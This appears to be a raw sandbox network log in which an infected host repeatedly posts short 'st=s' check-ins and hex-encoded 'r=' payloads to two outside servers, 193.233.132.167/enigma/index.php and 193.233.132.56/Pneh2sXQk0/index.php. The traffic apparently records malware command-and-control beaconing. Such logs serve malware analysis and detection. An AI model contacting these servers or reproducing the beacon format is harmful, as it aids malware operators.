Apr 19, 2024 03:36:50.930388927 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:51.175688028 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1499	192.168.2.5	51355	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:51.350752115 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:51.595534086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1500	192.168.2.5	51356	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:51.423852921 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:51.670919895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1501	192.168.2.5	51357	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:51.841763020 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:52.086442947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1502	192.168.2.5	51358	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:52.010555983 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:52.258614063 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1503	192.168.2.5	51359	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:52.415822029 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:52.659835100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1504	192.168.2.5	51360	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:52.522202969 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:52.782394886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1505	192.168.2.5	51361	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:52.907073021 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:53.153429031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1506	192.168.2.5	51362	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:53.119824886 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:53.367908001 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1507	192.168.2.5	51363	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:53.383729935 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:53.637252092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1508	192.168.2.5	51364	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:53.486304045 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:53.745759964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1509	192.168.2.5	51365	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:53.978480101 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:54.227693081 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1510	192.168.2.5	51366	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:54.003900051 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:54.255393982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1511	192.168.2.5	51367	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:54.473515987 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:54.718034029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1512	192.168.2.5	51368	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:54.589934111 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:54.839196920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1513	192.168.2.5	51369	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:55.059140921 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:55.307837963 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1514	192.168.2.5	51370	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:55.090743065 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:55.338251114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1515	192.168.2.5	51371	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:55.567786932 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:55.823369980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1516	192.168.2.5	51372	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:55.668411016 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:55.916929007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1517	192.168.2.5	51373	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:56.167634964 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:56.415338993 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1518	192.168.2.5	51374	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:56.172810078 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:56.425393105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1519	192.168.2.5	51375	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:56.669473886 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:56.921344042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1520	192.168.2.5	51376	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:56.761064053 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:57.007370949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1521	192.168.2.5	51378	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:57.261265993 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:57.514024973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1522	192.168.2.5	51377	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:57.261392117 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:57.510546923 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1523	192.168.2.5	51379	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
